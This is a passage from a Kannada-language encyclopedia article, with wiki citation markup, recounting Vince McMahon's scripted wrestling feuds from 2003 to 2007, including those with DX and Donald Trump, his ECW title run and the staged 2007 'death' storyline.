"ತೆಗೆದಾಕಿದನು".<ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/smackdown/030703.html|title=SmackDown! results - July 3, 2003|accessdate=2008-01-16|publisher=Online World of Wrestling}}</ref> ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ಮಗಳಾದ ಸ್ಟಿಫೇನಿ ಯನ್ನು ಸ್ಮೇಕ್ ಡೌನ್! ಗೆ ರಾಜೀನಾಮೆ ಕೊಡಲು ಕೇಳಿಕೊಂಡನು ಒಕ್ಟೋಬರ್ 2, 2003ರ ''ಸ್ಮೇಕ್ ಡೌನ್!'' ಎಡಿಶನ್ ನಲ್ಲಿ ಜೆನೆರಲ್ ಮೆನೆಜರ್. ಸ್ಟಿಫೇನಿ, ಹಾಗಿದ್ದರೂ, ರಾಜೀನಾಮೆ ಕೊಡಲು ನಿರಾಕರಿಸಿದಳು, ಮತ್ತು ಇದರಿಂದ "ಐ ಕ್ಯುಟ್" ಎಂಬ ಪಂದ್ಯವು ಅವರಿಬ್ಬರನಡುವೆ ನಿರ್ಮಾನವಾಯಿತು.<ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/smackdown/031002.html|title=SmackDown! results - October 2, 2003|accessdate=2008-01-17|publisher=WWE}}</ref> ನೊ ಮೇರ್ಸಿ ಯಲ್ಲಿ, ಯಾವಾಗ ಲಿಂಡ ಟವೆಲನ್ನು ಒಳಕ್ಕೆ ಎಸೆದಾಗ ಮೆಕ್ ಮಹೊನ್ "ಐಕ್ಯುವಿಟ್" ಪಂದ್ಯದಲ್ಲಿ ಸ್ಟಿಫೇನಿ ಯನ್ನು ಸೋಲಿಸಿದನು.<ref>{{cite web|url=http://www.wwe.com/shows/nomercy/history/2003/results/|title=No Mercy 2003 official results|accessdate=2008-01-17|publisher=WWE|archive-date=2008-12-10|archive-url=https://web.archive.org/web/20081210125038/http://www.wwe.com/shows/nomercy/history/2003/results/|url-status=dead}}</ref> ನಂತರ ಆ ರಾತ್ರಿ, ಬೈಕರ್ ಚೇನ್ ಪಂದ್ಯದಲ್ಲಿ ಅಂಡರ್ಟೇಕರ್ ವಿರುದ್ಧ ಬ್ರೋಕ್ ಲೆಸ್ನರ್ WWE ಚೇಂಪಿಯನ್ಶಿಪ್ ಅನ್ನು ಕಾಪಾಡಿಕೊಳ್ಳಲು ಸಹಾಯಮಾಡಿದನು<ref name="No Mercy - Lesnar vs Taker">{{cite web|url=http://www.wwe.com/shows/nomercy/history/2003/mainevent/|title=No Mercy 2003 main event|accessdate=2008-01-17|publisher=WWE|archive-date=2007-12-27|archive-url=https://web.archive.org/web/20071227195351/http://www.wwe.com/shows/nomercy/history/2003/mainevent/|url-status=dead}}</ref> ಇದು ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು ಅಂಡರ್ಟೇಕರ್ ನಡುವೆ ಪೈಪೋಟಿಯನ್ನುಂಟುಮಾಡಿತು. ಸೆರ್ವೈವರ್ ಸೀರೀಸ್ ನಲ್ಲಿ, ಬರೀಡ್ ಎಲೈವ್ ಪಂದ್ಯದಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಕೇನ್ ನ ಸಹಾಯದಿಂದ ಅಂಡರ್ಟೇಕರ್ ನನ್ನು ಸೋಲಿಸಿದನು.<ref>{{cite web|url=http://www.wwe.com/shows/survivorseries/history/2003/results/|title=Survivor Series 2003 official results|accessdate=2008-01-17|publisher=WWE|archive-date=2011-06-29|archive-url=https://web.archive.org/web/20110629095946/http://www.wwe.com/shows/survivorseries/history/2003/results/|url-status=dead}}</ref> 2005ರ ಕೊನೆಯಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ಎರಿಕ್ ಬಿಸ್ಚೊಫ್ ನೊಡನೆ ದ್ವೇಷದಿಂದದ್ದನು, ಬಿಸ್ಚೊಫ್ ''ರಾವ್'' ವಿನ ಜೆನರಲ್ ಮೆನೇಜರಾಗಿ ಸರಿಯಾಗಿ ಕೆಲಸಮಾಡುದಿಲ್ಲವೆಂದು ನಿರ್ಧರಿಸಿದನು. ಅವನು "ಎರಿಕ್ ಬಿಸ್ಚೊಫ್ ವಿನ ಶೋಧನೆ" ಶುರುಮಾಡಿದನು, ಎಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ ನ್ಯಾಯಾಧಿಕಾರಿಯಾಗಿದ್ದನು ಬಿಸ್ಚೊಫ್ ಶೋಧನೆಯಲ್ಲಿ ಸೋತುಹೋದನು: ಮೆಕ್ ಮಹೊನ್ ಅವನನ್ನು "ತೆಗೆದಾಕಿದನು", ಮತ್ತು ಅವನನ್ನು ಕಸದ ಗಾಡಿ ಹೋಗುವ ಮುಂಚೆ ಅದಕ್ಕೆ ಬಿಸಾಡಿದನು. ಬಿಸ್ಚೊಫ್ ಅನೇಕ ತಿಂಗಳು ಕಾನೆಯಾಗಿದ್ದನು. 2006ರ ಕೊನೆಯಲ್ಲಿ ಒಂದು ವರ್ಷದ ನಂತರ ''ರಾವ್'' ನಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ನಿನ ಸಹಾಯಕ ಕಾರ್ಯನಿರ್ವಾಹಕ ಜೊನತಾನ್ ಕೋಚ್ಮೆನ್ ನಿಂದ ಬಿಸ್ಚೊಫ್ ಪಂದ್ಯವನ್ನು ತನ್ನ ಪುಸ್ತಕ ''ಕೊನ್ಟ್ರೊವೆರ್ಸಿ ಕ್ರಿಯೇಟ್ಸ್ ಕೇಶ್'' ನಿಂದ ಪ್ರಕಟಿಸಬಹುದು ಎಂದು ಪುನಃ ಸೇರಿಸಿದನು. ಬಿಸ್ಚೊಫ್ ಮೆಕ್ ಮಹೊನ್ ನ ವಿರುದ್ಧ ಸ್ಪೋಟಗೊಳಿಸುವ ಟೀಕೆ ಶುರುಮಾಡಿದನು, ಮತ್ತು ಹೇಳಿದನು ''Raw'' ಜೆನರಲ ಮೆನೇಜರ್ ಯಿಂದ "ಅನಾಚಾರ ಪೂರ್ವಕ" ದಿಂದ ತೆಗೆಯಲ್ಪಟ್ಟನು, ಅದೇನೆಂದರೆ ಬಿಸ್ಚೊಫ್ ನ ಒವರ್-ದಿ-ಟೋಪ್ ಬಂಡಾಯ ಯೋಜನೆಯಿಲ್ಲದಿದ್ದರೆ ಮೆಕ್ ಮಹೊನ್ ಇಲ್ಲವೆಂಬುದು, ಮತ್ತು D-ಜೆನೆರೆಶನ್ X ಏನೂಯಿಲ್ಲ ಆದರೆ ಅದು ನ್ಯು ವೇರ್ಲ್ಡ್ ಒರ್ಡರ್ ನ ಒಂದು ತುಂಡು. ===D-ಜೆನೆರೆಶನ್ X ಮತ್ತು ಡೊನಾಲ್ಡ್ ಟ್ರಮ್ಪ್ ರೊಡನೆ ದ್ವೇಷಗಳು (2005-2007)=== [[File:Vince as ECW champ.jpg|thumb|left|180px|2007 ರ ECW ಚಾಂಪಿಯನ್ ಮಕ್ಮಹೋನ್]] ಡಿಸೆಂಬರ್ 26, 2005ರ ''ರಾವ್'' ಎಡಿಶನ್ ನಲ್ಲಿ, ವಿನ್ಸಿ ವೈಯುಕ್ತಿಕವಾಗಿ [[Bret "Hit Man" Hart: The Best There Is, The Best There Was, The Best There Ever Will Be|ಬ್ರೆಟ್ ಹಾರ್ಟ್ ನ DVD]] ಯನ್ನು ವೀಕ್ಷಿಸಿದನು. ಶವ್ನ್ ಮಿಚಲ್ಸ್ ಹೊರಗೆಬಂದು ಹಾರ್ಟ್ ನ ಕುರಿತು ಮಾತಾಡಿದ. ಮೆಕ್ ಮಹೊನ್ ಪ್ರತ್ಯುತ್ತರ ಕೊಟ್ಟನು,"ನಾನು ಬ್ರೆಟ್ ಹಾರ್ಟ್ ನನ್ನು ನಿರ್ಬಂಧ ಪಡಿಸಿದೆ. ಶೌನ್, ನಾನು ನಿನ್ನನ್ನು ನಿರ್ಬಂಧ ಪಡಿಸಲು ಬಿಡಬೇಡ".<ref name="Survivor Series - Shawn Michaels vs Bret Hart" /><ref>{{cite web|url=http://www.wwe.com/shows/raw/archive/12262005/|title=Advantage Kane|accessdate=2008-01-15|date=2005-12-26|publisher=WWE}}</ref> 2006ರ ರೊಯಲ್ ರಂಬಲ್ ನಲ್ಲಿ, ಶೆಲ್ಟನ್ ಬೆನ್ಜಮಿನ್ ನನ್ನು ತೆಗೆದಾಕಿಸಿದ ನಂತರ ಉಳಿದಿರುವ ಕೊನೆಯ ಆರು ಮಂದಿಯಲ್ಲಿ ಮೈಕಲ್ಸ್ ಇದ್ದಾಗ, ಮೆಕ್ ಮಹೊನ್ ರ ಪ್ರವೇಶದ ಗಾಯನವನ್ನು ಕೇಳಿ ಮೈಕಲ್ ಬುದ್ಧಿ ಭಂಶವಾದ, ಆದಕಾರಣ ಶೇನ್ ಮೆಕ್ ಮಹೊನ್ ನಿಂದ ತೆಗೆದಾಕಲ್ಪಟ್ಟನು.<ref>{{cite web|url=http://www.onlineworldofwrestling.com/results/wweppv/royalrumble06.html|title=Royal Rumble 2006 results|accessdate=2008-01-17|publisher=Online World of Wrestling|archive-date=2009-10-08|archive-url=https://web.archive.org/web/20091008070200/http://www.onlineworldofwrestling.com/results/wweppv/royalrumble06.html|url-status=dead}}</ref> ಫೆಬ್ರವರಿ 27, 2006ರ ''ರಾವ್'' ಎಡಿಶನ್ ನಲ್ಲಿ, ಮೈಕಲ್ಸ್ ಶೇನಿನಿಂದ ಮೃತತಪ್ಪುವಂತೆ ಹೊಡೆಯಲ್ಪಟ್ಟನು. ಯಾವಾಗ ಮೈಕಲ್ಸ್ ನ ಹಿಂದಿನ ರೊಕರ್ಸ್ ಟೇಗ್ ಟೀಮ್ ಜೊತೆಗಾರ ಮಾರ್ಟಿ ಜನೆಟ್ಟಿ ಮೈಕಲ್ಸ್ ನ ಸಹಾಯಕ್ಕೆ ಬಂದಾಗ, ಅವನು ಮೆಕ್ ಮಹೊನ್ ನ "ಕಿಸ್ ಮೈ ಆಸ್ ಕ್ಲಬ್" ಗೆ ಬಲವಂತವಾಗಿ ಸೇರುವಂತೆ ಮಾಡಿದನು.<ref name="jannettymichaels">{{cite web|url=http://www.wwe.com/shows/raw/archive/02272006/|title=Joining the Club|accessdate=2006-02-27|publisher=WWE.com}}</ref> ಮಾರ್ಚ್ 18ರ ''ಸೆಟರ್ಡೆ ನೈಟ್ಸ್ ಮೇನ್ ಇವೆಂಟ್'' ಎಡಿಶನ್ ನಲ್ಲಿ, ಮೈಕಲ್ಸ್ ಸ್ಟ್ರೀಟ್ ಫೈಟ್ ನಲ್ಲಿ ಶೇನ್ ನನ್ನು ಎದುರಿಸಿದನು. ಶೇನ್ ಮೈಕಲ್ಸ್ ನನ್ನು ಶಾರ್ಪ್ಶೂಟರ್ ನಲ್ಲಿ ಇಟ್ಟಿರುವಾಗ ಮೆಕ್ ಮಹೊನ್ ಮೈಕಲ್ಸ್ ನನ್ನು ನಿರ್ಬಂಧ ಪಡಿಸಿದನು. ಶೇನ್ ಮೈಕಲ್ಸ್ ನನ್ನು ಶಾರ್ಪ್ಶೂಟರ್ ನಲ್ಲಿ ಇಟ್ಟಿರುವಾಗ ಮೆಕ್ ಮಹೊನ್ ಮೈಕಲ್ಸ್ ನನ್ನು ನಿರ್ಬಂಧ ಪಡಿಸಿದನು.<ref name="Survivor Series - Shawn Michaels vs Bret Hart" /><ref name="SNME - Shane vs HBK">{{cite web|url=http://www.wwe.com/shows/snme/history/march182006/matches/2220096/results/|title=Shane McMahon def. Shawn Michaels (Street Fight)|accessdate=2008-01-17|date=2006-03-18|publisher=WWE}}</ref> ವ್ರೆಸಲ್ ಮೇನಿಯ 22ರಲ್ಲಿ, ನೊ ಹೋಲ್ಡ್ಸ್ ಬೇರ್ಡ್ ಪಂದ್ಯದಲ್ಲಿ ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ಮೈಕಲ್ಸ್ ನನ್ನು ಎದುರಿಸಿದನು. ಸ್ಪಿರಿಟ್ ಸ್ಕ್ವೇಡ್ ಹಾಗು ಶೇನ್ ಅಡ್ದಬಂದರೂ, ಮೆಕ್ ಮಹೊನ್ ಮೈಕಲ್ಸ್ ನನ್ನು ಹೊಡೆಯಲು ಸಧ್ಯವಾಗಲಿಲ್ಲ.<ref name="WrestleMania 22 - Vince vs HBK">{{cite web|url=http://www.wwe.com/shows/wrestlemania/history/wrestlemania22/matches/22203221/results/|title=Shawn Michaels def. Mr. McMahon (No Holds Barred match)|accessdate=2008-01-17|date=2006-04-02|publisher=WWE}}</ref> ಬೇಕ್ಲೇಶ್ ನಲ್ಲಿ, ವಿನ್ಸಿ ಮೆಕ್ ಮಹೊನ್ ಹಾಗು ತನ್ನ ಮಗ ಶೇನ್ ನವರಿಬ್ಬರು ಮೈಕಲ್ಸ್ ಹಾಗು "ಗೋಡ್" (ಸ್ಪೊಟ್ಲೈಟ್ ನಿಂದ ಗುಣಲಕ್ಷಣ ವಿವರಿಸಲಾಗಿದೆ) ರವರನ್ನು ನೊ ಹೋಲ್ಡ್ಸ್ ಬೇರ್ಡ್ ಪಂದ್ಯದಲ್ಲಿ ಸೋಲಿಸಿದರು.<ref name="Backlash - McMahons vs HBK & God">{{cite web|url=http://www.wwe.com/shows/backlash/history/backlash2006/matches/22851061/results/|title=Mr. McMahon & Shane McMahon def. Shawn Michaels & "God"|accessdate=2008-01-14|date=2006-04-30|publisher=WWE}}</ref> ಮೇ 15, 2006ರ ''ರಾವ್'' ಎಡಿಶನ್ ನಲ್ಲಿ, ಮೈಕಲ್ಸ್ ಗೆ ಇಡಲ್ಪಟ್ಟ ಸುತ್ತಿಗೆಯಿಂದ ಟ್ರಿಪಲ್ ಎಚ್ ಶೇನ್ ನನ್ನು ಹೊಡೆದನು.<ref>{{cite web|first=Louie|last=Dee|url=http://www.wwe.com/shows/raw/archive/05152006/|title=Money Shot|accessdate=2008-01-17|date=2006-05-15|publisher=WWE}}</ref> ನಂತರದ ವಾರದ ''ರಾವ್'' ನಲ್ಲಿ, ಟ್ರಿಪಲ್ ಎಚ್ ಆ ವಸ್ತುವಿನಿಂದ ಮೈಕಲ್ಸ್ ನನ್ನು ಹೊಡೆಯುವ ಅವಕಾಶ ದೊರಕಿತು ಆದರೆ ಅವನಬದಲಿಗೆ ಸ್ಪಿರಿಟ್ ಸ್ಕ್ವೇಡನ್ನು ಬಲವಾಗಿ ಹೊಡೆದನು.<ref>{{cite web|first=Louie|last=Dee|url=http://www.wwe.com/shows/raw/archive/05222006/|title=Apology Accepted?|accessdate=2008-01-17|date=2006-05-22|publisher=WWE}}</ref> ಕೆಲವು ವಾರಗಳಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಮೈಕಲ್ಸ್ ನನ್ನು ಹೊರತುಪಡಿಸಿ ಟ್ರಿಪಲ್ ಎಚನ್ನು ಬಲವಂತವಾಗಿ "ಕಿಸ್ ಮೈ ಆಸ್ ಕ್ಲಬ್" ಗೆ ಸೇರುವ ಪೈಪೋಟಿಯನ್ನು ಶುರುಮಾಡಿದನು. ಟ್ರಿಪಲ್ ಎಚ್ ಕ್ಲಬ್ ಗೆ ಸೇರುವ ಬದಲು ಪೆಡಿಗ್ರೆಯಿಂದ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ಹೊಡೆದನು ಮತ್ತು ಸ್ಪಿರಿಟ್ ಸ್ಕ್ವೇಡ್ ವಿರುದ್ಧ ಇದ್ದ ಗೌಂಟ್ಲೆಟ್ ಹೇಂಡಿಕೇಪ್ ಪಂದ್ಯದಲ್ಲಿ ಅವನನ್ನು ಉಗುಳಿದನು.<ref>{{cite web|first=Louie|last=Dee|url=http://www.wwe.com/shows/raw/archive/06052006/|title=Kiss this|accessdate=2008-01-17|date=2006-06-05|publisher=WWE}}</ref><ref name="RAW - HHH vs Spirit Squad">{{cite web|first=Ed|last=Williams III|url=http://www.wwe.com/shows/raw/archive/06122006/|title=An extreme awakening makes Cena snap|accessdate=2008-01-17|date=2006-06-12|publisher=WWE}}</ref> ಮೈಕಲ್ಸ್ ಹಾಗಿದ್ದರೂ, ಟ್ರಿಪಲ್ ಎಚ್ ನನ್ನು ರಕ್ಷಿಸಿದನು ಮತ್ತು ಇಬ್ಬರೂ D-ಜೆನೆರೆಶನ್ X (DX) ಯನ್ನು ಸುಧಾರಣೆ ಮಾಡಿದರು. ಇದು ಮೆಕ್ ಮಹೊನ್ ಮತ್ತು DX ನಡುವೆ ದ್ವೇಷಕ್ಕೆ ಕಾರಣವಾಯಿತು, ಮುಂದಿನ ಸಮ್ಮರ್ ಪೂರ್ತಿ ಇತ್ತು.<ref name="owwvince">{{cite web|url=http://www.onlineworldofwrestling.com/profiles/v/vince-mcmahon.html|title=Mr. McMahon's Profile|accessdate=2008-01-17|publisher=Online World of Wrestling}}</ref> 2006ರ ಸಮ್ಮರ್ ಸ್ಲೇಮ್ ನಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಟೇಗ್ ಟೀಮ್ ಪಂದ್ಯಾದಲ್ಲಿ ಉಮಗ, ಬಿಗ್ ಶೊ, ಫಿನ್ಲೆ, ಶ್ರೀ.ಕೆನೆಡಿ, ಮತ್ತು ವಿಲ್ಲಿಯಮ್ ರೆಗಲ್ ಅಡ್ದಬಂದರೂ DX ಗೆ ಕಳೆದುಕೊಂಡನು.<ref name="SummerSlam - DX vs McMahons">{{cite web|first=Jen|last=Hunt|url=http://www.wwe.com/shows/summerslam/history/2006/matches/29444901/results/|title=DX beats the odds|accessdate=2008-01-18|date=2006-08-20|publisher=WWE}}</ref> ECW ನ ವರ್ಲ್ಡ್ ಚಂಪಿಯನ್ ಬಿಗ್ ಶೋವನ್ನು ಮಕ್ಮಹೋನ್ ಗುಂಪಿಗೆ ಸೇರಿಸಿಕೊಂಡರು<ref name="owwvince" /> ಅನ್ಫೊರ್ಗಿವನ್ ನಲ್ಲಿ, ಹೆಲ್ ಇನ್ ಎ ಸೆಲ್ ಪಂದ್ಯದಲ್ಲಿ ಮೆಕ್ ಮಹೊನ್ DX ರೊಡನೆ ಹೊರಾಡಲು ದಿ ಬಿಗ್ ಶೊ ನೊಂದಿಗೆ ಗುಂಪು ಮಾಡಿದನು. ಅವರ 3-ರಿಂದ-2ರ ಪ್ರಯೋಜನವಿದ್ದರೂ, ಮೆಕ್ ಮಹೊನ್ DX ಗೆ ಕಳೆದುಕೊಂಡರು ಮತ್ತು ಪೈಪೋಟಿ ಮುಕ್ತಾಯವಯಿತು.<ref name="Unforgiven - DX vs McMahons & Big Show">{{cite web|first=Craig|last=Tello|url=http://www.wwe.com/shows/unforgiven/history/2006/matches/28817581/results/|title=Billion-dollar embarr-ASS-ment|accessdate=2008-01-18|date=2006-09-17|publisher=WWE}}</ref> ಜನವರಿ 2007ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ಡೊನಾಲ್ಡ್ ಟ್ರಮ್ಪ್ ನೊಡನೆ ದ್ವೇಷದಿಂದಿರಲು ಶುರು ಮಾಡಿದನು, ಅದು ದೊಡ್ಡ ಮಾಧ್ಯಮದಲ್ಲಿ ವಿಶೇಷಿಸಲ್ಪಟ್ಟಿತು. ನಿಜವಾಗಿಯೂ ಟ್ರಮ್ಪ್ ಮೆಕ್ ಮಹೊನ್ ನೊಂದಿಗೆ ತಾನೇ ಜಗಳವಾಡಲು ಭಯಸಿದನು ಆದರೆ ಅವರು ಒಂದು ಡೀಲ್ ಗೆ ಬಂದರು: ವ್ರೆಸಲ್ ಮೇನಿಯ 23ರಲ್ಲಿ ಹೇರ್ ವಿರುದ್ಧ ಹೇರ್ ಪಂದ್ಯದಲ್ಲಿ ಜಗಳವಾಡಲು ಇಬ್ಬರೂ ಒಂದು ಪ್ರತಿನಿಧಿಯನ್ನು ಆಯ್ಕೆ ಮಾಡಬಹುದೆಂಬುದು. ಯಾವ ವ್ಯಕ್ತಿಯ ಪ್ರತಿನಿಧಿ ಪಂದ್ಯದಲ್ಲಿ ಸೋತುಹೋಗುತ್ತಾನೊ ಅವನು ತನ್ನ ತಲೆಯನ್ನು ಬೋಳಿಸ ಬೇಕೆಂಬುವದು. ''ರಾವ್'' ನಲ್ಲಿ ಒಪ್ಪಂದ ಸಹಿ ಹಾಕಿದ ನಂತರ, ಮೆಕ್ ಮಹೊನ್ ಟ್ರಮ್ಪನ್ನು ಹಲವು ಬೆರಲಿನಿಂದ ಭುಜವನ್ನು ಚುಚ್ಚಿದ ಮೇಲೆ, ಟ್ರಮ್ಪ್ ಮೆಕ್ ಮಹೊನ್ ನನ್ನು ತನ್ನ ತಲೆ ರಿಂಗಿನ ಮೇಜಿಗೆ ಗುದ್ದುವಂತೆ ದೂಡಿದನು. ನಂತರ ಒಂದು ಪತ್ರಿಕೆ ಸಮಿತಿಯಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್, ಒಂದು ಭಾವಚಿತ್ರ ತೆಗೆಯುವ ಸಂದರ್ಭದಲ್ಲಿ, ಟ್ರಮ್ಪ್ ನೊಂದಿಗೆ ಕೈಕುಳುಕಳು ಮುಂದುವರಿದನು ಆದರೆ ಟ್ರಮ್ಪ್ ಅವನ ಕೈ ಕೊಡದೆ ಹೋದಕಾರಣ ತನ್ನ ಕೈಯನ್ನು ಹಿಂದೆಳೆದುಕೊಂಡನು. ಮೆಕ್ ಮಹೊನ್ ಟ್ರಮ್ಪ್ ನೊಡನೆ ಪಿಟೀಲು ಬಾರಿಸಳು ಮುಂದುವರಿದನು ಮತ್ತು ಟ್ರಮ್ಪ್ ನ ಮೂಗನ್ನು ಮಿಣುಕಿದನು. ಆದಕಾರಣ ಟ್ರಮ್ಪ್ ಕೋಪಗೊಂಡು ಮೆಕ್ ಮಹೊನ್ ಮುಖವನ್ನು ಅಪ್ಪಳಿಸಿದನು. ಟ್ರಮ್ಪ್ ಪ್ರತಿನಿಧಿಗಳಾದ ಬೊಬಿ ಲೇಶ್ಲಿ ಹಾಗು ಟ್ರಮ್ಪ್ ನ ಮೈಗಾವಲಿನವರನ್ನು ಸೇಡು ತೀರಿಸಲು ಮೆಕ್ ಮಹೊನ್ ಹತೋಟಿಯಲ್ಲಿಟ್ಟುಕೊಂಡನು.<ref>{{cite web|url=http://www.wwe.com/shows/wrestlemania/history/wrestlemania23/exclusives/pressconference|title=Billion-dollar breakdown at Trump Tower|author=Louie Dee|accessdate=2007-03-28|publisher=WWE.com|archive-date=2008-01-19|archive-url=https://web.archive.org/web/20080119073623/http://www.wwe.com/shows/wrestlemania/history/wrestlemania23/exclusives/pressconference|url-status=dead}}</ref> ವ್ರೆಸಲ್ ಮೇನಿಯ 23ರಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ನ ಪ್ರತಿನಿಧಿ (ಉಮಗ) ಪಂದ್ಯದಲ್ಲಿ ಕಳೆದುಕೊಂಡನು.<ref name="WrestleMania 23 - Lashley vs Umaga">{{cite web|first=Craig|last=Tello|url=http://www.wwe.com/shows/wrestlemania/history/wrestlemania23/matches/39161842/results/|title=The 'mane' event|accessdate=2008-01-14|publisher=WWE}}</ref> ಆದಕಾರಣ, ಮೆಕ್ ಮಹೊನ್ ನ ಕೂದಲು ಟ್ರಮ್ಪ್ ಮತ್ತು ಲೇಶ್ಲಿ ಹಾಗು ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಒಸ್ಟಿನ್ ನ ಸಹಾಯದಿಂದ ಬೋಳುಮಾಡಲಾಯಿತು, ಯಾರು "ಬೆಟಲ್ ಒಫ್ ದಿ ಬಿಲ್ಲಿಯನ್ನೇರ್ಸ್" ಪಂದ್ಯದ ವಿಶೇಷ ಅತಿಥಿ ನಿರ್ಣಯಕರ್ತನಾಗಿದ್ದನು.<ref name="WrestleMania 23 - Lashley vs Umaga" /> ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ECW ಚೇಂಪಿಯನ್ಶಿಪ್ ನಲ್ಲಿ ಲೇಶ್ಲಿಯೊಡನೆ ಪೈಪೋಟಿಗೆ ಶುರುಮಾಡಿದನು. ಬೇಕ್ಲೇಶ್ ನಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ಮಗನಾದ ಶೇನ್ ಹಾಗು ಉಮಗನೊಡನೆ ಸೇರಿ 3-ರಿಂದ-1ರ ಹೇಂಡಿಕೇಪ್ ಪಂದ್ಯದಲ್ಲಿ ECW ಚೇಂಪಿಯನ್ಶಿಪ್ ಗೆ ಲೇಶ್ಲಿಯನ್ನು ಹೊಡೆದಾಕಿದರು.<ref name="Backlash - Team McMahon vs Lashley">{{cite web|first=Bryan|last=Robinson|url=http://www.wwe.com/shows/backlash/history/2007/matches/396065214/results/ |title=Hell freezes over in ECW|accessdate=2008-01-17|date=2007-04-29|publisher=WWE}}</ref><ref>{{cite web|url=http://www.wwe.com/shows/ecw/history/ecwchampionship/042907mcmahon|title=Mr. McMahon's first ECW Championship reign|accessdate=2008-01-18|publisher=WWE}}</ref> ಜಡ್ಜ್ಮೆಂಟ್ ಡೇ ಯಲ್ಲಿ, ಮೆಕ್ ಮಹೊನ್ ತನ್ನ ECW ಚೇಂಪಿಯನ್ಶಿಪ್ ಯನ್ನು ಪುನಃ 3-ರಿಂದ-1ರ ಹೇಂಡಿಕೇಪ್ ಪಂದ್ಯದಲ್ಲಿ ಕಾಪಾಡಿದನು. ಲೇಶ್ಲಿ ಡೋಮಿನೆಟರಿನ ನಂತರ ಶೇನ್ ನನ್ನು ಹೊಡೆದು ಪಂದ್ಯವನ್ನು ಗೆದ್ದನು ಆದರೆ ಮೆಕ್ ಮಹೊನ್ ಹೇಳಿದನು ಅವನು ಇನ್ನೂ ಚೇಂಪಿಯನ್ನೇ ಎಂದು ಹೇಳಿದನು ಯಾಕೆಂದರೆ ಲೇಶ್ಲಿ ಅವನನ್ನು ಹೊಡೆದರೆ ಮಾತ್ರ ಚೇಂಪಿಯನ್ ಆಗಬಹುದು.<ref name="Judgment Day - Lashley vs Team McMahon">{{cite web|first=Bryan|last=Robinson|url=http://www.wwe.com/shows/judgmentday/history/2007/matches/41244021/results/ |title=The ecstasy ... and then the agony|accessdate=2008-01-17|date=2007-05-20|publisher=WWE}}</ref> ವನ್ ನೈಟ್ ಸ್ಟೇಂಡ್ ನ ಸ್ಟ್ರೀಟ್ ಫೈಟ್ ನಲ್ಲಿ ಶೇನ್ ಮತ್ತು ಉಮಗ ಅಡ್ದಬಂದರೂ ಮೆಕ್ ಮಹೊನ್ ಕೊನೆಯದಾಗಿ ECW ಚೇಂಪಿಯನ್ಶಿಪ್ಪನ್ನು ಕಳೆದುಕೊಂಡನು.<ref name="One Night Stand - Lashley vs Vince">{{cite web|first=Bryan|last=Robinson|url=http://www.wwe.com/shows/onenightstand/history/2007/matches/4362508112/results/|title=ECW World Champion once again, demons exorcised|accessdate=2008-01-17|date=2007-06-03|publisher=WWE}}</ref>. ===ಅಸಂಖ್ಯ ಘಟನೆಗೆಳು (2007–2009)=== ಜೂನ್ 11, 2007 ರಂದು, WWE ''ರಾವ್'' ನ ಕೊನೆಯಲ್ಲಿ ಒಂದು ಸಂಗತಿಯನ್ನು ಹೊರಬಿಟ್ಟಿತು, ಅದು ಮೆಕ್ ಮಹೊನ್ ಕೆಸರಿನಿಂದ ಕೂಡಿದ ಕ್ಷಣವನ್ನು ಮುಖ್ಯಪಡಿಸಿತು. ಪ್ರದರ್ಶನವು ಸ್ವಲ್ಪ ಹೊತ್ತಿನಲ್ಲಿ ನಿಂತುಹೋಯಿತು, ಮತ್ತು WWE.Com ಏಂಗಲನ್ನು ಒಂದು ನಿಮಿಷದೊಳಗೆ ಅದೊಂದು ನ್ಯಾಯವಾದ ಸಂಭವ ಎಂದು ಪ್ರಕಟಮಾಡಿತು, ಮೆಕ್ ಮಹೊನ್ "ಸತ್ತು ಹೋಗಿದ್ದಾನೆ ಎಂದು ಭಾವಿಸಲಾಗಿದೆ" ಎಂದು ಹೇಳಿತು.<ref>{{cite web|url=http://www.wwe.com/inside/news/mcmahonexplosionupdate|archiveurl=https://web.archive.org/web/20070621115331/http://www.wwe.com/inside/news/mcmahonexplosionupdate|archivedate=2007-06-21|title=McMahon Explosion Update|publisher=WWE|date=June 11, 2007|accessdate=2007-06-11}}</ref> ಇದು "ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್" ಸ್ವಭಾವದ ವಿಧಿಯ ಕಲ್ಪನೆ ಯಾಗಿದ್ದರೂ, ನಿಜವಾದ ವ್ಯಕ್ತಿಗೆ ಏನೂ ಹಾನಿಯಾಗಲಿಲ್ಲ, ಮೆಕ್ ಮಹೊನ್ "ಸತ್ತು ಹೋಗಿದ್ದಾನೆ ಎಂದು ಭಾವಿಸಿದ್ದು" ಕಥೆಅಂಶದ ಒಂದು ಭಾಗವಾಗಿತ್ತು.<ref>{{cite web|url=http://www.timesleader.com/news/breakingnews/20070612_12wwe_breaking.html|title=Vince McMahon’s hoax goes up in smoke|author=Rory Sweeney|publisher=Timesleader.com|accessdate=2007-07-02|date=June 26, 2007}}</ref> WWE ನಂತರ CNBC ಗೆ ಒಪ್ಪಿಗೆ ಕೊಟ್ಟಿತು ಅದೇನೆಂದರೆ ಅವನು ನಿಜವಾಗಿ ಸತ್ತು ಹೋಗಲಿಲ್ಲವೆಂದು.<ref>{{cite web|url=http://www.cnbc.com/id/19330600|title=WWE's McMahon "Death": I'm A Murder Suspect|author=Darren Rovell|publisher=CNBC.com|accessdate=2007-07-02|date=June 20, 2007}}</ref> ಜೂನ್ 25, 2007ರ ''Raw'' ಎಡಿಶನ್, ಮೂರು-ಗಂಟೆ "ಶ್ರೀ.ಮೆಕ್ ಮಹೊನ್" ನ ಸ್ಮರಣೆಗೆ ಸಮಯ ಇಡಲಾಯಿತು. ಹಾಗಿದ್ದರೂ, 